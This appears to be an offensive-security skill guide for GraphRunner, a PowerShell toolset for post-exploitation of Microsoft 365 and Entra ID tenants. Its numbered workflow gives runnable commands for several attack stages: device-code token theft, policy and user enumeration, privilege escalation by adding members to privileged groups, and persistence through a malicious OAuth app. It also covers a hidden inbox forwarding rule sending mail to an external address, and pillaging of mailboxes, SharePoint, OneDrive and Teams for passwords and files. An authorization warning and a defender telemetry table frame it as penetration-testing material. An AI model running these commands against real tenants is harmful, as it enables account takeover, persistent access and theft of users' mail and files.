seikaikyo/post-exploiting-microsoft-graph-with-graphrunner

Post-Exploiting Microsoft Graph with GraphRunner

Authorized use only: GraphRunner performs offensive actions against live Microsoft 365 / Entra ID tenants — deploying OAuth apps, cloning groups, adding members, and reading mailboxes, SharePoint, and Teams. Run it only against tenants you own or are explicitly authorized in writing to test. Unauthorized use is illegal.

Overview

GraphRunner (Beau Bullock / Black Hills Information Security) is a PowerShell post-exploitation toolset built entirely on the Microsoft Graph API. Given a foothold token, it performs recon, establishes persistence, escalates privilege, and pillages M365 data — all through Graph, which blends in with normal traffic and bypasses many endpoint controls. It is the natural follow-on to credential/token theft (e.g., device-code phishing or ROADtools): once you hold Graph access, GraphRunner operationalizes it.

The toolset is a single PowerShell module (GraphRunner.ps1) exposing dozens of functions grouped by purpose:

• Authentication — Get-GraphTokens (device-code login), Invoke-RefreshGraphTokens, Invoke-AutoTokenRefresh, Invoke-ImportTokens, Invoke-RefreshToSharePointToken.
• Recon & Enumeration — Invoke-GraphRecon (tenant/user permission summary), Invoke-DumpCAPS (conditional-access policies), Invoke-DumpApps (app registrations / consent grants), Get-AzureADUsers, Get-SecurityGroups, Get-UpdatableGroups, Get-DynamicGroups, Invoke-SearchUserAttributes, Invoke-GraphOpenInboxFinder, Find-PermissiveCalendars.
• Persistence — Invoke-InjectOAuthApp (deploy a malicious OAuth app for consent-grant persistence), Invoke-CreateInboxForwardingRule.
• Privilege Escalation — Get-UpdatableGroups, Invoke-AddGroupMember, Invoke-SecurityGroupCloner, Invoke-InviteGuest.
• Pillage / Data Search — Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, Invoke-SearchTeams, Get-TeamsChat, Invoke-DriveFileDownload.
• Master runner — Invoke-GraphRunner runs an automated recon-and-pillage pass; List-GraphRunnerModules prints all modules.

This maps to MITRE ATT&CK T1098 — Account Manipulation: GraphRunner manipulates accounts, groups, and OAuth grants (adding members, injecting apps, cloning groups, inviting guests) to maintain and escalate access in the cloud identity plane.

When to Use

• After obtaining a valid Microsoft Graph access/refresh token during an authorized M365/Entra engagement.
• When mapping tenant permissions, conditional-access policies, and OAuth app exposure.
• When establishing cloud persistence via OAuth consent grants or inbox forwarding (in scope).
• When demonstrating privilege escalation through updatable/dynamic groups.
• When searching mailboxes, SharePoint/OneDrive, and Teams for sensitive data to evidence impact.

Prerequisites

• Written authorization and scope for the target tenant.
• A Graph token foothold (from Get-GraphTokens device-code login, or imported tokens).
• PowerShell 5.1+ or PowerShell 7 (cross-platform).

# Clone and import the module
git clone https://github.com/dafthack/GraphRunner.git
cd GraphRunner
Import-Module .\GraphRunner.ps1

# List every available module
List-GraphRunnerModules

Objectives

• Authenticate to Microsoft Graph and maintain tokens via refresh.
• Enumerate tenant users, groups, CA policies, and OAuth apps.
• Identify updatable groups and demonstrate privilege escalation.
• Establish persistence via an injected OAuth app and/or inbox forwarding rule.
• Search mailboxes, SharePoint/OneDrive, and Teams for sensitive content.

MITRE ATT&CK Mapping

| ID | Tactic | Official Technique Name | Role in this skill | |----|--------|-------------------------|--------------------| | T1098 | Persistence | Account Manipulation | Add group members, clone groups, invite guests to retain/escalate access | | T1098.003 | Privilege Escalation | Account Manipulation: Additional Cloud Roles | Adding members to privileged/updatable groups | | T1528 | Credential Access | Steal Application Access Token | Get-GraphTokens device-code token acquisition | | T1087.004 | Discovery | Account Discovery: Cloud Account | Get-AzureADUsers, Invoke-SearchUserAttributes | | T1114.002 | Collection | Email Collection: Remote Email Collection | Invoke-SearchMailbox over Graph | | T1606.002 | Credential Access | Forge Web Credentials: SAML/OAuth | Invoke-InjectOAuthApp consent-grant persistence |

Workflow

Step 1: Authenticate and refresh tokens

# Device-code login; complete the code at microsoft.com/devicelogin
Get-GraphTokens

# Refresh the access token when it expires
Invoke-RefreshGraphTokens

# Keep tokens fresh automatically during a long operation
Invoke-AutoTokenRefresh

# Import tokens captured elsewhere (e.g., from ROADtools)
Invoke-ImportTokens -AccessToken $at -RefreshToken $rt

Step 2: Recon and enumeration

# High-level tenant + current-user permission recon
Invoke-GraphRecon -Tokens $tokens -PermissionEnum

# Dump conditional-access policies
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids

# Enumerate app registrations, service principals, and consent grants
Invoke-DumpApps -Tokens $tokens

# Enumerate all users and security groups
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
Get-SecurityGroups -Tokens $tokens

Step 3: Search user attributes for secrets

# Hunt across all user attributes for terms like "password"
Invoke-SearchUserAttributes -Tokens $tokens -SearchTerm "password"

Step 4: Privilege escalation via updatable groups

# Find groups the current principal can modify directly
Get-UpdatableGroups -Tokens $tokens

# Add yourself (or a controlled account) to a target group
Invoke-AddGroupMember -Tokens $tokens -GroupId <group-guid> -UserId <user-guid>

# Clone a privileged security group's membership into a new group you control
Invoke-SecurityGroupCloner -Tokens $tokens

Step 5: Persistence

# Deploy a malicious OAuth app and walk the consent-grant flow for persistence
Invoke-InjectOAuthApp -AppName "Demo App" -ReplyUrl "https://localhost" -Scope "openid profile offline_access Mail.Read"

# Create a hidden inbox forwarding rule on a target mailbox
Invoke-CreateInboxForwardingRule -Tokens $tokens -ForwardTo "[email protected]" -RuleName "Sync"

Step 6: Pillage M365 data

# Search a mailbox (or all reachable mailboxes) for sensitive terms
Invoke-SearchMailbox -Tokens $tokens -SearchTerm "password" -MessageCount 100 -OutFile mail.csv

# Search SharePoint and OneDrive content
Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm "secret"

# Download a discovered file
Invoke-DriveFileDownload -Tokens $tokens -DriveItemIDs "<drive-id>:<item-id>" -FileName loot.docx

# Search Teams messages
Invoke-SearchTeams -Tokens $tokens -SearchTerm "vpn"

Step 7: Automated full pass

# Run the orchestrated recon + pillage workflow end to end
Invoke-GraphRunner -Tokens $tokens

Tools and Resources

| Tool | Purpose | Primary Source | |------|---------|----------------| | GraphRunner (repo) | PowerShell Graph post-exploitation toolset | https://github.com/dafthack/GraphRunner | | GraphRunner wiki | Per-module usage guide | https://github.com/dafthack/GraphRunner/wiki | | BHIS GraphRunner blog | Tool release + walkthrough | https://www.blackhillsinfosec.com/introducing-graphrunner/ | | Microsoft Graph API | API reference for the underlying calls | https://learn.microsoft.com/graph/api/overview | | ROADtools | Upstream token acquisition / device-code phishing | https://github.com/dirkjanm/ROADtools |

OPSEC and Detection Considerations

GraphRunner is designed to blend with legitimate Graph traffic, but its actions leave a trail defenders can hunt:

| GraphRunner action | Telemetry source | What the defender sees | |--------------------|------------------|------------------------| | Get-GraphTokens (device code) | Entra sign-in logs | Device-code grant from the Azure CLI client (04b07795-...) on an unusual device/IP | | Invoke-InjectOAuthApp | Entra audit logs | "Add application" + "Consent to application" events with broad delegated scopes | | Invoke-AddGroupMember / Invoke-SecurityGroupCloner | Entra audit logs | "Add member to group" on privileged/role-assignable groups | | Invoke-CreateInboxForwardingRule | M365 audit + mailbox rules | New inbox rule forwarding externally (often hidden) | | Invoke-SearchMailbox / Invoke-SearchSharePointAndOneDrive | MicrosoftGraphActivityLogs | High-volume $search calls against /messages and Drive endpoints |

To reduce noise during an authorized engagement, scope searches with -MessageCount, avoid role-assignable group changes unless required, and always remove injected apps with Invoke-DeleteOAuthApp and forwarding rules during cleanup.

Validation Criteria

• [ ] Graph tokens obtained via Get-GraphTokens and refreshed successfully.
• [ ] Tenant recon completed (Invoke-GraphRecon, Invoke-DumpCAPS, Invoke-DumpApps).
• [ ] Users and security groups enumerated.
• [ ] User attributes searched for embedded secrets.
• [ ] Updatable groups identified and a controlled privilege escalation demonstrated.
• [ ] Persistence established (OAuth app injection and/or inbox forwarding) where in scope.
• [ ] Mailbox, SharePoint/OneDrive, and Teams searched for sensitive data.
• [ ] All actions, object IDs, and evidence logged for the engagement report and cleanup.